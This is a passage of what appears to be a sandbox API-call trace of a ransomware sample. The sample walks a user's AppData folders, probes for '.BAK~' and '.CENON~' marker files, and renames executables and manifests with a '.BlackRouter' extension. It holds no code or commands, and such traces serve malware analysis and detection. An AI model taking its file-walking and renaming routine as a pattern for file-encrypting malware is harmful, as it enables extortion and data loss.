GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.089] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.090] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.091] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.091] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.098] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.099] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.100] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.100] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.108] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.109] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.110] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.110] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.407] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.407] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.455] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.455] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.499] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.499] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.501] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.501] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.509] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.509] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.510] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.511] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.526] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.527] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.528] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.528] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.543] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.543] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.544] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.545] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.552] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.552] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.554] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.554] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.562] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.563] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.564] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.564] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.571] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.572] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.573] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.573] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.582] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.582] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.584] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.584] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.595] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.595] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.596] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.597] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.605] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.605] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.609] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.609] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.617] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.617] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.618] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0043.618] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.034] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.034] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.082] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.082] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.113] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x113f58 [0044.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc0e8c510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x113f60)) returned 1 [0044.287] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe.blackrouter")) returned 1 [0044.294] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.294] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.295] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.295] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.299] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x3c50 [0044.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc0efe930, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3c60)) returned 1 [0044.334] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.blackrouter")) returned 1 [0044.335] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x113f60 [0044.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc0f70d50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x113f70)) returned 1 [0044.385] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe.blackrouter")) returned 1 [0044.390] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x354b [0044.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc0fbd010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3550)) returned 1 [0044.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.blackrouter")) returned 1 [0044.406] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x560 [0044.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc0fbd010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0044.409] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.blackrouter")) returned 1 [0044.411] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.411] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.412] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.413] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0044.643] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x3550 [0044.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc11f84b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3560)) returned 1 [0044.645] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest.blackrouter")) returned 1 [0044.646] GetFileSize (in: hFile=0x258, 